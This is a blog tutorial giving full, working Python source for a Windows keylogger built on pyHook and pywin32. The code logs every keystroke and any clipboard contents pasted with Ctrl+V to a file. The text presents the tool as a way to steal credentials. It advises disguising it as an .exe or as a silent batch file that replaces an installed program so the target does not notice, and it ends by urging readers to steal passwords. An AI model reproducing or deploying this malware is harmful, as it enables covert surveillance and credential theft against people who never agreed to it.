Creating Basic Keylogger Using Python

Creating Simple Keylogger In Python

Hi there, welcome to my blog.In this tutorial I am gonna show you how to create a simple keylogger in Python.For those who don’t know Keylogger is a simple piece of software which logs your keystroke and stores that in a file or use the logged stokes for other uses.It is one of the popular way of hacking things also such as credentials stealing etc.

An excellent Python library named PyHook enables us to easily trap all keyboard events. It takes advantage of the native Windows function SetWindowsHookEx, which allows you to install a userdefined function to be called for certain Windows events. By registering a hook for keyboard events, we are able to trap all of the keypresses that a target issues. On top of this, we want to know exactly what process they are executing these keystrokes against, so that we can determine when usernames, passwords, or other tidbits of useful information are entered. PyHook takes care of all of the lowlevel programming for us, which leaves the core logic of the keystroke logger up to us.

Before we start there are some modules you are gonna need. They are pyHook and pywin32.Both of the modules can be downloaded from the this link.

The lines of code for the keylogger will be less as it is simple in nature.So before I explain the source code let’s have a look of the source code.

# -*- coding: utf-8 -*-
"""
Created on Sat Aug  5 23:17:44 2017

@author: Anuran Barman
"""

import pyHook,pythoncom,sys,logging
import win32clipboard
file_name="D:\\log.txt"

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_name,level=logging.DEBUG,format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    if event.Key=='V':
         win32clipboard.OpenClipboard()            
         pasted_value = win32clipboard.GetClipboardData()            
         win32clipboard.CloseClipboard()
         logging.log(10,pasted_value)
    return True

hook_manager=pyHook.HookManager()
hook_manager.KeyDown=OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

So here we first create a text file where we will be storing our keystrokes.Then we create our custom function which will be hooked to our key down function later on.From the logging module we use the method basicConfig
with arguments like file to store the logging,debugging level,and the format in which the logs will be stored.
Then we get the character value of the ascii pressed by the target and log that value into the text file with debugging level of 10. Now comes the tricky part.What if the use never actually types anything which may interest us like passwords or something.What if he/she pastes that value when required.To cover this corner case we add a if statement there.We add the logic that if pressed key is V(Ctrl+V is the windows shortcut for pasting something)
we open the clipboard manager from the win32clipboard module,get the value stored in the clipboard and log that value in the text file we created at first.

Then we make our hook manager from pyHook module and hook our custom function the the KeyDown event.What that means is whenever there will be a keystroke event our function will be called and all the code within will be executed which is in our case is logging the character value of the ascii code.Then we finally tell our hook manager to hook itself to the keyboard and we use the PumpMessages() method from the pythoncom module which came when you installed pywin32.

Now while saving the file for distribution you need to save it as .pyw which is file extension for pywin32 programs.As you have guessed from it it requires the target to have pywin32 installed in his/her computer.

So when you will be finally distributing the application you need to convert it to an .exe file which is common file extension of executable files in Windows.Or you can create a batch file which will fire up the keylogger.pyw file without user’s knowledge and you can replace any installed executable file with your malicious batch file.When you are creating the batch file remember to use @echo off so that the program prints nothing in the console and target takes your application no way to suspicious.

That’s all for today guys.I hope you liked the tutorial and everything worked perfectly as it was supposed to.If you have any doubts you can comment that below.So what are you waiting for,create this basic keylogger and steal some passwords.

Leave a Reply

Your email address will not be published. Required fields are marked *